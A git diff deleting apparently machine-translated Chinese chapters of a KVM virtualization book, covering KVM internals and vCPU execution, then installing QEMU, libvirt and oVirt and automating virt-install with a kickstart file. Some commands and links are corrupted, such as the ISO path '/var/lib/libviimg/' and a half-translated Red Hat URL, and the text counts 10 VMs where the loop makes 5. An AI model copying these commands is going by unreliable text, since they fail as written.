-与`kvm_chardev_fops`类似,有`kvm_vm_fops`和`kvm_vcpu_fops`: - -```sh -static struct file_operations kvm_vm_fops = { -        .release        = kvm_vm_release, -        .unlocked_ioctl = kvm_vm_ioctl, -….. -        .llseek         = noop_llseek, -}; -static struct file_operations kvm_vcpu_fops = { -      .release        = kvm_vcpu_release, -      .unlocked_ioctl = kvm_vcpu_ioctl, -…. -      .mmap           = kvm_vcpu_mmap, -      .llseek         = noop_llseek, -}; -``` - -索引节点分配可以如下所示: - -```sh -      anon_inode_getfd(name, &kvm_vcpu_fops, vcpu, O_RDWR | O_CLOEXEC); -``` - -现在让我们来看一下数据结构。 - -## 数据结构 - -从 KVM 内核模块的角度来看,每个虚拟机都由一个`kvm`结构表示: - -```sh -include/linux/kvm_host.h : -struct kvm { -  ... -      struct mm_struct *mm; /* userspace tied to this vm */ -           ... -      struct kvm_vcpu *vcpus[KVM_MAX_VCPUS]; -          .... -      struct kvm_io_bus __rcu *buses[KVM_NR_BUSES]; -…. -      struct kvm_coalesced_mmio_ring *coalesced_mmio_ring; -  ….. -} -``` - -正如您在前面的代码中看到的,`kvm`结构包含指向`kvm_vcpu`结构的指针数组,这些指针对应于 qemu-kvm 用户空间中的`CPUX86State`结构。 `kvm_vcpu`结构由公共部分和特定于 x86 架构的部分组成,该部分包括寄存器内容: - -```sh -struct kvm_vcpu { -  ... -      struct kvm *kvm; -      int cpu; -….. -      int vcpu_id; -  ….. -    struct kvm_run *run; -  …... -      struct kvm_vcpu_arch arch; -  … -} -``` - -`kvm_vcpu`结构的 x86 体系结构特定部分包含在虚拟机退出后可以保存访客寄存器状态的字段,并且可以在虚拟机条目之前从这些字段加载访客寄存器状态: - -```sh -arch/x86/include/asm/kvm_host.h -struct kvm_vcpu_arch { -.. -      unsigned long regs[NR_VCPU_REGS]; -      unsigned long cr0; -      unsigned long cr0_guest_owned_bits; -      ….. -    struct kvm_lapic *apic;  /* kernel irqchip context */ -    .. -struct kvm_mmu mmu; -.. -struct kvm_pio_request pio; -void *pio_data; -.. -      /* emulate context */ -  struct x86_emulate_ctxt emulate_ctxt; -  ... -      int (*complete_userspace_io)(struct kvm_vcpu *vcpu); -  …. -} -``` - -正如您在前面的代码中看到的,`kvm_vcpu`有一个关联的`kvm_run`结构,用于 QEMU 用户空间和 KVM 内核模块之间的通信(与`pio_data`),如前所述。 例如,在`VMEXIT`的上下文中,为了满足虚拟硬件访问的仿真,KVM 必须返回到 QEMU 用户空间进程;KVM 将信息存储在`kvm_run`结构中,以便 QEMU 获取信息: - -```sh -/include/uapi/linux/kvm.h: -/* for KVM_RUN, returned by mmap(vcpu_fd, offset=0) */ -struct kvm_run { -        /* in */ -... -        /* out */ -... -        /* in (pre_kvm_run), out (post_kvm_run) */ -... -      union { -              /* KVM_EXIT_UNKNOWN */ -... -              /* KVM_EXIT_FAIL_ENTRY */ -... -              /* KVM_EXIT_EXCEPTION */ -... -              /* KVM_EXIT_IO */ -struct { -#define KVM_EXIT_IO_IN  0 -#define KVM_EXIT_IO_OUT 1 -... -              } io; -... -} -``` - -`kvm_run`结构是一个重要的数据结构;正如您在前面的代码中看到的,`union`包含许多退出原因,如`KVM_EXIT_FAIL_ENTRY`、`KVM_EXIT_IO`等。 - -当我们讨论硬件虚拟化扩展时,我们谈到了 VMCS 和 VMCB。 当我们考虑硬件加速虚拟化时,这些都是重要的数据结构。 这些控制块在`VMEXIT`场景中特别有用。 并不是每个操作都允许访客执行;同时,如果虚拟机管理器代表访客执行所有操作,也很困难。 虚拟机控制结构(如 VMCS 或 VMCB)控制行为。 允许访客执行某些操作,例如更改隐藏控制寄存器中的某些位,但不允许执行其他操作。 这清楚地提供了对允许访客做什么和不允许做什么的细粒度控制。 VMCS 控制结构还提供对中断传递和异常的控制。 之前,我们说过`VMEXIT`的退出原因记录在 VMCS 中;它还包含一些关于它的数据。 例如,如果对控制寄存器的写访问导致退出,则关于源寄存器和目标寄存器的信息将记录在那里。 - -在深入研究 vCPU 执行流程之前,让我们先看一下一些重要的数据结构。 - -英特尔特定的实施在`vmx.c`中,AMD 特定的实施在`svm.c`中,具体取决于我们拥有的硬件。 如您所见,下面的`kvm_vcpu`是`vcpu_vmx`的一部分。 `kvm_vcpu`结构主要分为公共部分和特定于体系结构的部分。 公共部分包含所有支持的体系结构通用的数据,并且是特定于体系结构的-例如,特定于 x86 体系结构的(访客保存的通用寄存器)部分包含特定于特定体系结构的数据。 如前所述,`kvm_vCPUs`、`kvm_run`和`pio_data`与用户空间共享。 - -`vcpu_vmx`和`vcpu_svm`结构(下面提到)有一个`kvm_vcpu`结构,它由一个特定于 x86 体系结构的部分(`struct 'kvm_vcpu_arch'`)和一个公共部分组成,并且还相应地指向`vmcs`和`vmcb`结构。 让我们先检查一下 Intel(`vmx`)结构: - -```sh -vcpu_vmx structure -struct vcpu_vmx { -      struct kvm_vcpu     *vcpu; -        ... -      struct loaded_vmcs  vmcs01; -     struct loaded_vmcs   *loaded_vmcs; -    …. -    } -``` - -同样,接下来让我们检查 AMD(`svm`)结构: - -```sh -vcpu_svm structure -struct vcpu_svm { -        struct kvm_vcpu *vcpu; -        … -struct vmcb *vmcb; -…. -    } -``` - -`vcpu_vmx`或`vcpu_svm`结构由以下代码路径分配: - -```sh -kvm_arch_vcpu_create() -       ->kvm_x86_ops->vcpu_create -                 ->vcpu_create()  [.vcpu_create = svm_create_vcpu, .vcpu_create = vmx_create_vcpu,] -``` - -请注意,VMCS 或 VMCB 存储访客配置细节,如机器控制位和处理器寄存器设置。 我建议您从源头上检查结构定义。 管理器还使用这些数据结构来定义访客执行时要监视的事件。 这些事件可以被截取,并且这些结构在主机存储器中。 在`VMEXIT`时,客户状态保存在 VMCS 中。 如前所述,`VMREAD`指令从 VMCS 读取一个字段,而`VMWRITE`指令将该字段写入其中。 另外,请注意,每个 vCPU 有一个 VMCS 或 VMCB。 这些控制结构是主机存储器的一部分。 VCPU 状态记录在这些控制结构中。 - -# _vCPU 的执行 - -最后,我们进入了 vCPU 执行流程,这有助于我们将所有东西放在一起,并理解在幕后发生了什么。 - -我希望您没有忘记,QEMU 为访客的 vCPU 和`ioctl()`创建了一个 POSIX 线程,该线程负责运行 CPU 并具有`KVM_RUN arg (#define KVM_RUN _IO(KVMIO, 0x80))`。 VCPU 线程执行`ioctl(.., KVM_RUN, ...)`来运行客户代码。 因为这些是 POSIX 线程,所以 Linux 内核可以像调度系统中的任何其他进程/线程一样调度这些线程。 - -让我们看看这一切是如何运作的: - -```sh -Qemu-kvm User Space: -kvm_init_vcpu () -    kvm_arch_init_vcpu() -       qemu_init_vcpu() -          qemu_kvm_start_vcpu() -             qemu_kvm_cpu_thread_fn() -    while (1) { -        if (cpu_can_run(cpu)) { -                r = kvm_cpu_exec(cpu); -                      } -        } -kvm_cpu_exec (CPUState *cpu) -    ->       run_ret = kvm_vcpu_ioctl(cpu, KVM_RUN, 0); -``` - -根据底层架构和硬件,KVM 内核模块会初始化不同的结构,其中之一是`vmx_x86_ops/svm_x86_ops`(属于`kvm-intel`或`kvm-amd`模块)。 它定义了当 vCPU 处于上下文中时需要执行的不同操作。 KVM 根据为硬件加载的 KVM 模块(`kvm-intel`或`kvm-amd`)利用`kvm_x86_ops`矢量指向这些矢量中的任何一个。 `run`指针定义了访客 vCPU 运行开始时需要执行的功能,`handle_exit`定义了在`VMEXIT`时需要执行的操作。 让我们检查一下 Intel(`vmx`)结构: - -```sh -static struct kvm_x86_ops vmx_x86_ops = { -    ... -      .vcpu_create = vmx_create_vcpu, -      .run = vmx_vcpu_run, -      .handle_exit = vmx_handle_exit, -… -} -``` - -现在,让我们看看 AMD(`svm`)结构: - -```sh -static struct kvm_x86_ops svm_x86_ops = { -      .vcpu_create = svm_create_vcpu, -       .run = svm_vcpu_run, -      .handle_exit = handle_exit, -.. -} -``` - -`run`指针相应地指向`vmx_vcpu_run`或`svm_vcpu_run`。 `svm_vcpu_run`或`vmx_vcpu_run`函数执行保存 KVM 主机寄存器、加载客户操作系统寄存器和`SVM_VMLOAD`指令的工作。 当 QEMU KVM 用户空间代码通过`syscall`进入内核时,我们在`vcpu run`的时候介绍了它的执行过程。 然后,在文件操作结构之后,它调用`kvm_vcpu_ioctl()`;这根据它定义的`ioctl()`函数调用定义要执行的操作: - -```sh -static long kvm_vcpu_ioctl(struct file *file, -                         unsigned int ioctl, unsigned long arg)  { -      switch (ioctl) { -        case KVM_RUN: -    …. -           kvm_arch_vcpu_ioctl_run(vcpu, vcpu->run); -        ->vcpu_load -            -> vmx_vcpu_load -                 ->vcpu_run(vcpu); -        ->vcpu_enter_guest -                             ->vmx_vcpu_run -                     …. -} -``` - -我们将通过`vcpu_run()`来了解它是如何到达`vmx_vcpu_run`或`svm_vcpu_run`的: - -```sh -static int vcpu_run(struct kvm_vcpu *vcpu) { -…. -      for (;;) { -              if (kvm_vcpu_running(vcpu)) { -                        r = vcpu_enter_guest(vcpu); -                } else { -                        r = vcpu_block(kvm, vcpu); -              } -``` - -一旦进入`vcpu_enter_guest()`,您就可以看到当它在 KVM 中进入访客模式时发生的一些重要调用: - -```sh -static int vcpu_enter_guest(struct kvm_vcpu *vcpu) { -... -      kvm_x86_ops.prepare_guest_switch(vcpu); -      vcpu->mode = IN_GUEST_MODE; -      __kvm_guest_enter(); -      kvm_x86_ops->run(vcpu); -                             [vmx_vcpu_run or svm_vcpu_run ] -      vcpu->mode = OUTSIDE_GUEST_MODE; -      kvm_guest_exit(); -      r = kvm_x86_ops->handle_exit(vcpu); -                             [vmx_handle_exit or handle_exit ] -… -} -``` - -您可以从`vcpu_enter_guest()`函数看到`VMENTRY`和`VMEXIT`的高级图片。 也就是说,`VMENTRY`(`[vmx_vcpu_run or svm_vcpu_run]`)只是在 CPU 中执行的客户操作系统;在此阶段可能会发生不同的拦截事件,从而导致`VMEXIT`。 如果发生这种情况,任何`vmx_handle_exit`或`handle_exit`函数调用都将开始调查此退出原因。 在前面的章节中,我们已经讨论了产生`VMEXIT`的原因。 一旦存在`VMEXIT`,就会分析退出原因并采取相应的行动。 - -`vmx_handle_exit()`是负责处理退出原因的功能: - -```sh -static int vmx_handle_exit(struct kvm_vcpu *vcpu, , fastpath_t exit_fastpath) -{ -….. } -static int (*const kvm_vmx_exit_handlers[])(struct kvm_vcpu *vcpu) = { -      [EXIT_REASON_EXCEPTION_NMI]         = handle_exception, -      [EXIT_REASON_EXTERNAL_INTERRUPT]    = handle_external_interrupt, -      [EXIT_REASON_TRIPLE_FAULT]          = handle_triple_fault, -      [EXIT_REASON_IO_INSTRUCTION]        = handle_io, -      [EXIT_REASON_CR_ACCESS]             = handle_cr, -      [EXIT_REASON_VMCALL]                = handle_vmcall, -      [EXIT_REASON_VMCLEAR]               = handle_vmclear, -      [EXIT_REASON_VMLAUNCH]             = handle_vmlaunch, -… -} -``` - -`kvm_vmx_exit_handlers[]`是由`exit reason`索引的虚拟机退出处理程序表。 与英特尔类似,`svm`代码具有`handle_exit()`: - -```sh -static int handle_exit(struct kvm_vcpu *vcpu, fastpath_t exit_fastpath) -{ -      struct vcpu_svm *svm = to_svm(vcpu); -      struct kvm_run *kvm_run = vcpu->run; -      u32 exit_code = svm->vmcb->control.exit_code; -…. -      return svm_exit_handlers[exit_code](svm); -} -``` - -`handle_exit()`具有`svm_exit_handler`数组,如下节所示。 - -如果需要,KVM 必须回退到用户空间(QEMU)来执行仿真,因为一些指令必须在 QEMU 仿真设备上执行。 例如,为了模拟 I/O 端口访问,控制转到用户空间(QEMU): - -```sh -kvm-all.c: -static int (*const svm_exit_handlers[])(struct vcpu_svm *svm) = { -      [SVM_EXIT_READ_CR0]                   = cr_interception, -      [SVM_EXIT_READ_CR3]                   = cr_interception, -      [SVM_EXIT_READ_CR4]                   = cr_interception, -…. -} -switch (run->exit_reason) { -        case KVM_EXIT_IO: -              DPRINTF("handle_io\n"); -                /* Called outside BQL */ -              kvm_handle_io(run->io.port, attrs, -                            (uint8_t *)run + run->io.data_offset, -                          run->io.direction, -                           run->io.size, -                           run->io.count); -              ret = 0; -            break; -``` - -这一章有位的大量源代码。 有时,挖掘和检查源代码几乎是理解事物如何工作的唯一途径。 希望这一章节能够做到这一点。 - -# 摘要 - -在本章中,我们介绍了 KVM 的内部工作原理及其在 Linux 虚拟化中的主要合作伙伴-libvirt 和 QEMU。 我们讨论了各种类型的虚拟化-二进制转换、完全虚拟化、半虚拟化和硬件辅助虚拟化。 我们检查了一些内核、QEMU 和 libvirt 源代码,以便从内部了解它们之间的交互*。 这为我们提供了必要的技术诀窍,使我们能够理解本书后面的主题-从如何创建虚拟机和虚拟网络到将虚拟化理念扩展到云概念的方方面面。 理解这些概念还将使您更容易从企业公司的角度理解虚拟化的关键目标-如何正确设计物理和虚拟基础设施,本书将缓慢但肯定地将其作为一个概念介绍。 既然我们已经介绍了有关虚拟化工作原理的基础知识,现在是时候转到一个更实际的主题了--如何部署 KVM 虚拟机管理器、管理工具和 oVirt。 我们将在下一章中介绍这一点。* - -# 问题 - -1. 什么是半虚拟化? -2. 什么是完全虚拟化? -3. 什么是硬件辅助虚拟化? -4. Libvirt 的主要目标是什么? -5. KVM 是做什么的? 那 QEMU 呢? - -# 进一步阅读 - -有关本章内容的更多信息,请参阅以下链接: - -* 二进制翻译:[https://pdfs.semanticscholar.org/d6a5/1a7e73f747b309ef5d44b98318065d5267cf.pdf](https://pdfs.semanticscholar.org/d6a5/1a7e73f747b309ef5d44b98318065d5267cf.pdf) -* 虚拟化基础知识:[http://dsc.soic.indiana.edu/publications/virtualization.pdf](http://dsc.soic.indiana.edu/publications/virtualization.pdf) -* KVM:[HTTPS://www.redhat.com/en/主题/虚拟化/What-is-KVM](https://www.redhat.com/en/topics/virtualization/what-is-KVM) -* Qemu:[https://www.qemu.org/](https://www.qemu.org/) -* 了解完全虚拟化、半虚拟化和硬件帮助:[https://www.vmware.com/content/dam/digitalmarketing/vmware/en/pdf/techpaper/VMware_paravirtualization.pdf](https://www.vmware.com/content/dam/digitalmarketing/vmware/en/pdf/techpaper/VMware_paravirtualization.pdf)* \ No newline at end of file diff --git a/docs/master-kvm-virtual/03.md b/docs/master-kvm-virtual/03.md deleted file mode 100644 index 1070220e..00000000 --- a/docs/master-kvm-virtual/03.md +++ /dev/null @@ -1,296 +0,0 @@ -# 三、安装 KVM 虚拟机管理器、libvirt 和 oVirt - -本章让您深入了解本书的主要主题,即**内核虚拟机**(**KVM**)及其管理工具 libvirt 和 oVirt。 我们还将学习如何使用 CentOS 8 的基本部署从头开始完全安装这些工具。您会发现这是一个非常重要的主题,因为在某些情况下,您只是没有安装所有必要的实用程序-尤其是 oVirt,因为它是整个软件堆栈中完全独立的一部分,并且是 KVM 的免费管理平台。 由于 oVirt 有很多可移动的部分--基于 Python 的守护进程和支持实用程序、库和 GUI 前端--我们将提供一个分步指南,以确保您可以轻松安装 oVirt。 - -在本章中,我们将介绍以下主题: - -* 熟悉 QEMU 和 libvirt -* 熟悉 oVirt -* 安装 QEMU、libvirt 和 oVirt -* 使用 QEMU 和 libvirt 启动虚拟机 - -我们开始吧! - -# 了解 qemu 和 libvirt - -在[*第 2 章*](02.html#_idTextAnchor029),*KVM as a Virtualization Solution*中,我们开始讨论 KVM、QEMU 和各种可用于管理基于 KVM 的虚拟化平台的其他实用程序。 作为一个机器仿真器,我们将使用 QEMU,这样我们就可以在任何受支持的平台上创建和运行我们的虚拟机--无论是作为仿真器还是虚拟器。 我们将把时间集中在第二种模式上,即使用 QEMU 作为虚拟器。 这意味着我们将能够直接在低于它的硬件 CPU 上执行我们的虚拟机代码,这意味着本机或接近本机的性能和更少的开销。 - -请记住,整个 KVM 堆栈是作为模块构建的,因此 QEMU 也使用模块化方法就不足为奇了。 多年来,这一直是 Linux 世界的核心原则,它进一步提高了我们使用物理资源的效率。 - -当我们在 QEMU 上添加 libvirt 作为管理平台时,我们可以访问一些很酷的新实用程序,比如`virsh`命令,我们可以使用它来执行虚拟机管理、虚拟网络管理等等。 我们将在本书后面讨论的一些实用程序(例如,oVirt)使用 libvirt 作为一组标准化的库和实用程序来实现它们的 GUI 魔术-基本上,它们使用 libvirt 作为 API。 我们还可以出于各种目的访问其他命令。 例如,我们将使用一个名为`virt-host-validate`的命令来检查我们的服务器是否与 KVM 兼容。 - -# 熟悉 oVirt - -请记住,相当大比例的 Linux 系统管理员所做的大部分工作都是通过命令行实用程序、libvirt 和 KVM 完成的。 它们为我们提供了一套很好的工具,可以从命令行执行我们需要的所有操作,这一点我们将在本章的下一部分中看到。 但是,我们也会得到关于基于 GUI 的管理是什么样子的*提示*,因为我们将在本章后面简要讨论 Virtual Machine Manager。 - -但是,这仍然不包括这样一种情况:您拥有大量基于 KVM 的主机、数百台虚拟机、数十个互连它们的虚拟网络,以及装满与 KVM 环境集成所需的存储设备的机架。 当您向外扩展环境时,使用上述实用程序只会将您带入痛苦的世界。 主要原因相当简单--我们还没有引入任何类型的*集中式*软件包来管理基于 KVM 的环境。 我们所说的集中化是指字面意义上的集中化--我们需要某种软件解决方案,能够连接到多个虚拟机管理器并管理它们的所有功能,包括网络、存储、内存和 CPU,或者我们有时所说的虚拟化*四大支柱*。 这类软件最好有某种类型的 GUI 界面,我们可以通过它*集中管理我们所有的 KVM 资源,因为--嗯--我们都是人。 我们中相当多的人更喜欢图片而不是文字,互动也只喜欢文字管理,特别是在规模上。* - - *这就是 oVirt 项目的用武之地。 OVirt 是用于管理我们的 KVM 环境的开源平台。 它是一个基于 GUI 的工具,在后台有很多活动部件--引擎运行在基于 Java 的 WildFly 服务器(过去称为 JBoss)上,前端使用 GWT 工具包,等等。 但所有这些功能都是为了让一件事成为可能--让我们从一个集中的、基于 Web 的管理控制台管理基于 KVM 的环境。 - -从管理的角度来看,oVirt 有两个主要的构建块-引擎(我们可以使用 GUI 界面连接到它)和它的代理(用于与主机通信)。 让我们简要描述一下它们的功能。 - -OVirt 引擎是一种集中式服务,可用于执行我们在虚拟化环境中所需的任何操作-管理虚拟机、移动它们、创建映像、存储管理、虚拟网络管理等等。 此服务用于管理 oVirt 主机,为此,它需要与这些主机上的某些内容进行通信。 这就是 oVirt 代理(Vdsm)发挥作用的地方。 - -OVirt 引擎的一些可用的高级功能包括: - -* 虚拟机的实时迁移 -* 映像管理 -* 虚拟机的导出和导入(OVF 格式) -* **虚拟到虚拟转换(V2V)** -* 高可用性(从群集中其余主机上的故障主机重新启动虚拟机) -* 资源监控 - -显然,我们需要将 oVirt 代理和相关实用程序部署到我们的主机上,这些主机将成为我们环境的主要部分,我们将在其中托管所有东西-虚拟机、模板、虚拟网络等等。 为此,oVirt 通过名为**vdsm**的代理使用特定的基于代理的机制。 这是一个我们将部署到 CentOS 8 主机上的代理,这样我们就可以将它们添加到 oVirt 的清单中,这又意味着我们可以使用 oVirt 引擎 GUI 来管理它们。 Vdsm 是一个基于 Python 的代理,oVirt 引擎使用它来直接与 KVM 主机通信,然后 vdsm 可以与本地安装的 libvirt 引擎对话,以执行所有必要的操作。 它还用于配置目的,因为需要配置主机才能在 oVirt 环境中使用,以便配置虚拟网络、存储管理和访问等。 此外,vdsm 还集成了**内存过量使用管理器**(**MOM**),以便可以高效地管理虚拟化主机上的内存。 - -用图形的术语来说,这就是 oVirt 的体系结构: - -![Figure 3.1 – The oVirt architecture (source: http://ovirt.org) ](img/B14834_03_01.jpg) - -图 3.1-oVirt 体系结构(来源:http://ovirt.org) - -我们将在下一章介绍如何安装 oVirt。 如果您曾经听说或使用过名为 Red Hat Enterprise Virtualization 的产品,它可能看起来非常非常熟悉。 - -# 安装 qemu、libvirt 和 oVirt - -让我们从一些基本信息开始讨论如何安装 qemu、libvirt 和 oVirt: - -* 我们将将 CentOS 8 用于本书中的所有内容(除了在撰写本文时只支持 CentOS 7 的一些零碎内容之外)。 -* 我们的默认安装配置文件始终是**Server with GUI**,前提是我们将涵盖 GUI 和文本模式实用程序,以执行本书中要执行的几乎所有操作。 -* 我们需要在带有 GUI 的默认*服务器上安装的所有内容都将手动安装,这样我们就有了一个完整的分步指南来指导我们所做的每件事。* -* 我们将在本书中介绍的所有示例都可以安装在具有 16 个物理核心和 64 GB 内存的单个物理服务器上。 如果您修改了一些数字(分配给虚拟机的核心数量、分配给某些虚拟机的内存量等),您可以使用 6 核笔记本电脑和 16 GB 内存来实现这一点,前提是您不是一直在运行所有虚拟机。 如果您在完成本章之后关闭了虚拟机,并在下一章中启动必要的虚拟机,您就不会有什么问题了。 在我们的例子中,我们使用了一台惠普 ProLiant DL380p Gen8,这是一款易于找到的二手服务器,而且价格相当便宜。 - -在完成服务器的基本安装-选择安装配置文件、分配网络配置和 root 密码,以及添加其他用户(如果需要)-之后,我们面临着一个无法进行虚拟化的系统,因为它没有运行 KVM 虚拟机所需的所有实用程序。 因此,我们要做的第一件事是简单地安装必要的模块和基础应用,这样我们就可以检查我们的服务器是否与 KVM 兼容。 因此,请以管理用户身份登录到您的服务器,并发出以下命令: - -```sh -yum module install virt -dnf install qemu-img qemu-kvm libvirt libvirt-client virt-manager virt-install virt-viewer -y -``` - -我们还需要告诉内核我们将使用 IOMMU。 这是通过编辑`/etc/default/grub`文件、找到`GRUB_CMDLINE_LINUX`并在该行末尾添加一条语句来实现的: - -```sh -intel_iommu=on -``` - -在添加该行之前,不要忘记添加单个空格。 下一步是重新启动,因此,我们需要做的是: - -```sh -systemctl reboot -``` - -通过发出这些命令,我们安装了运行基于 KVM 的虚拟机所需的所有库和二进制文件,并使用 virt-manager(GUI libvirt 管理实用程序)来管理我们的 KVM 虚拟化服务器。 - -此外,通过添加 IOMMU 配置,我们可以确保主机可以看到 IOMMU,并且在我们使用`virt-host-validate`命令时不会抛出错误 - -之后,通过发出以下命令来检查我们的主机是否符合所有必要的 KVM 要求: - -```sh -virt-host-validate -``` - -该命令通过多个测试来确定我们的服务器是否与兼容。 我们应该得到如下输出: - -![Figure 3.2 – virt-host-validate output ](img/B14834_03_02.jpg) - -图 3.2-virt-host-验证输出 - -这表明我们的服务器已经为 KVM 做好了准备。 因此,下一步,既然已经安装了所有必要的 qemu/libvirt 实用程序,就需要做一些飞行前检查,看看我们安装的所有东西是否都正确部署,并且工作正常。 我们将运行`virsh net-list`和`virsh list`命令来执行此操作,如以下屏幕截图所示: - -![Figure 3.3 – Testing KVM virtual networks and listing the available virtual machines ](img/B14834_03_03.jpg) - -图 3.3-测试 KVM 虚拟网络并列出可用虚拟机 - -通过使用这两个命令,我们检查了我们的虚拟化主机是否具有正确配置的默认虚拟网络交换机/网桥(下一章将对此进行详细介绍),以及是否有任何虚拟机正在运行。 我们有缺省网桥,没有虚拟机,所以一切都是正常的。 - -## 在 KVM 中安装第一台虚拟机 - -现在,我们可以开始将我们的 KVM 虚拟化服务器用于其主要目的-运行虚拟机。 让我们首先在我们的主机上部署一个虚拟机。 为此,我们将 CentOS 8.0ISO 文件复制到名为`/var/lib/libvirt/images`的本地文件夹中,我们将使用该文件夹创建第一台虚拟机。 我们可以从命令行使用以下命令执行此操作: - -```sh -virt-install --virt-type=kvm --name MasteringKVM01 --vcpus 2 --ram 4096 --os-variant=rhel8.0 --cdrom=/var/lib/libviimg/ CentOS-8-x86_64-1905-dvd1.iso --network=default --graphics vnc --disk size=16 -``` - -这里的一些参数可能有点令人费解。 让我们从`--os-variant`参数开始,该参数描述您希望使用`virt-install`命令安装哪个访客操作系统。 如果要获取支持的访客操作系统列表,请运行以下命令: - -```sh -osinfo-query os -``` - -`--network`参数与我们的默认虚拟网桥相关(我们在前面提到过)。 我们肯定希望我们的虚拟机是联网的,所以我们选择了这个参数来确保它开箱即可联网。 - -在启动`virt-install`命令之后,我们应该会看到一个 VNC 控制台窗口,以完成安装过程。 然后,我们可以选择使用的语言、键盘、时间和日期以及安装目的地(单击选定的磁盘,然后按左上角的**完成**)。 我们还可以通过转到**Network&Host Name**,单击**Off**按钮上的,选择**Done**(然后切换到**on**位置)来激活网络,并将我们的虚拟机连接到底层网桥(*默认*)。 之后,我们可以按**开始安装**,让安装过程结束。 在等待这种情况发生的同时,我们可以单击**root password**并为我们的管理用户分配一个 root 密码。 - -如果所有这一切在您看来有点像*体力劳动*,我们能感受到您的痛苦。 想象一下,必须部署数十台虚拟机,然后单击所有这些设置。 我们已经不在 19 世纪了,所以肯定有更简单的方法来做这件事。 - -## 自动安装虚拟机 - -到目前为止,要以更自动化的方式完成这些工作,最简单也是最容易的方法是创建并使用名为**kickstart**的文件。 Kickstart 文件基本上是一个文本配置文件,我们可以使用它来配置服务器的所有部署设置,无论我们谈论的是物理服务器还是虚拟服务器。 唯一需要注意的是,kickstart 文件需要预先准备好并广泛使用-无论是在网络(Web)上还是在本地磁盘上。 还支持其他选项,但这些是最常用的选项。 - -出于我们的目的,我们将使用网络上可用的 kickstart 文件(通过 Web 服务器),但我们将对其进行一些编辑,使其可用,并将其留在`virt-install`可以使用的网络上。 - -当我们安装物理服务器时,作为安装过程(称为`anaconda`)的一部分,在我们的`/root`目录中保存了一个名为`anaconda-ks.cfg`的文件。 这是一个 kickstart 文件,其中包含物理服务器的完整部署配置,然后我们可以将其用作为虚拟机创建新 kickstart 文件的基础。 - -要做到这一点,在 CentOS7 中最简单的方法是部署一个名为`system-config-kickstart`的实用程序,该实用程序在 CentOS8 中不再可用。在[https://access.redhat.com/labs/kickstartconfig/](https://access.redhat.com/labs/kickstartconfig/)中有一个名为 Kickstart Generator 的替代在线实用程序,但您需要拥有该实用程序的 Red Hat 客户门户帐户。 所以,如果你没有这个功能,你就不得不编辑一个现有的 kickstart 文件。 这不是很难,但可能需要一点努力。 我们需要正确配置的最重要的设置与我们将从其安装虚拟机的*位置*有关-在网络上或从本地目录(就像我们在第一个`virt-install`示例中所做的那样,通过使用本地磁盘上的 CentOS ISO)。 如果我们要使用本地存储在服务器上的 ISO 文件,那么配置就很简单。 首先,我们将部署 Apache web 服务器,这样我们就可以在线托管我们的 kickstart 文件(这将在稍后派上用场)。 因此,我们需要以下命令: - -```sh -dnf install httpd -systemctl start httpd -systemctl enable httpd -cp /root/anaconda-ks.cfg /var/www/html/ks.cfg -chmod 644 /var/www/html/ks.cfg -``` - -在开始部署过程之前,使用 vi 编辑器(或您喜欢的任何其他编辑器)将 kickstart 文件(`/var/www/html/ks.cfg`)中的第一个配置行编辑为`ignoredisk --only-use=vda`,类似于`ignoredisk --only-use=sda`。 这是因为虚拟 KVM 机器不对设备使用`sd*`命名,而是使用`vd`命名。 这样,任何管理员在连接到物理服务器或虚拟服务器后,都可以更容易地确定他们是在管理物理服务器还是虚拟服务器。 - -通过编辑 kickstart 文件并使用这些命令,我们安装并启动了`httpd`(Apache web 服务器)。 然后,我们永久启动它,这样它就会在每次服务器重新启动后启动。 然后,我们将默认的 kickstart 文件(`anaconda-ks.cfg`)复制到 Apache 的`DocumentRoot`目录(Apache 从中提供文件的目录)并更改权限,以便当客户端请求该文件时,Apache 可以实际读取该文件。 在我们的示例中,将使用它的*客户端*将是`virt-install`命令。 我们用来说明这一特性的服务器的 IP 地址是`10.10.48.1`,这就是我们将用于 kickstart URL 的地址。 请记住,默认的 KVM 网桥使用 IP 地址`192.168.122.1`,您可以使用`ip`命令轻松检查该地址: - -```sh -ip addr show virbr0 -``` - -此外,可能需要在物理服务器上更改一些防火墙设置(接受 HTTP 连接),以便安装程序可以成功获取 kickstart 文件。 那么,让我们试一试。 在本示例和下面的示例中,请密切注意`--vcpus`参数(我们的虚拟机的虚拟 CPU 核心数),因为您可能希望根据您的环境更改该参数。 换句话说,如果您没有 4 个内核,请确保减少内核数量。 我们只是以此为例: - -```sh -virt-install --virt-type=kvm --name=MasteringKVM02 --ram=4096 --vcpus=4 --os-variant=rhel8.0 --location=/var/lib/libviimg/ CentOS-8-x86_64-1905-dvd1.iso --network=default --graphics vnc --disk size=16 -x "ks=http://10.10.48.1/ks.cfg" -``` - -重要音符 - -请注意我们更改的参数。 在这里,我们必须使用`--location`参数,而不是`--cdrom`参数,因为我们要将 kickstart 配置注入引导过程(必须这样做)。 - -部署过程完成后,我们的服务器上应该有两个功能齐全的虚拟机`MasteringKVM01`和`MasteringKVM02`,可以在将来的演示中使用。 第二个虚拟机(`MasteringKVM02`)将与第一个虚拟机具有相同的 root 密码,因为我们没有更改 kickstart 文件中的任何内容,除了虚拟磁盘选项。 因此,在部署之后,我们可以使用`MasteringKVM01`机器上的 root 用户名和密码登录到我们的`MasteringKVM02`机器。 - -如果我们想更进一步,我们可以创建一个带有循环的 shell 脚本,该脚本将使用索引自动为虚拟机指定唯一名称。 我们可以通过使用`for`循环及其计数器轻松地实现这一点: - -```sh -#!/bin/bash -for counter in {1..5} -do - echo "deploying VM $counter" -virt-install --virt-type=kvm --name=LoopVM$counter --ram=4096 --vcpus=4 --os-variant=rhel8.0 --location=/var/lib/libviimg/CentOS-8-x86_64-1905-dvd1.iso --network=default --graphics vnc --disk size=16 -x "ks=http://10.10.48.1/ks.cfg" -done -``` - -当我们执行此脚本时(不要忘记将其`chmod`设置为`755`!),我们应该会得到 10 个名为`LoopVM1-LoopVM5`的虚拟机,它们都具有相同的设置,其中包括相同的 root 密码。 - -如果我们使用的是 GUI 服务器安装,我们可以使用 GUI 实用程序来管理我们的 KVM 服务器。 其中一个实用程序称为**Virtual Machine Manager**,它是一个图形实用程序,使您可以执行基本管理所需的几乎所有操作:操作虚拟网络和虚拟机、打开虚拟机控制台等。 该实用程序可以从 GNOME 桌面访问-您可以使用桌面上的 Windows 搜索键,键入`virtual`,单击**Virtual Machine Manager**,然后开始使用它。 Virtual Machine Manager 如下所示: - -![Figure 3.4 – Virtual Machine Manager ](img/B14834_03_04.jpg) - -图 3.4-虚拟机管理器 - 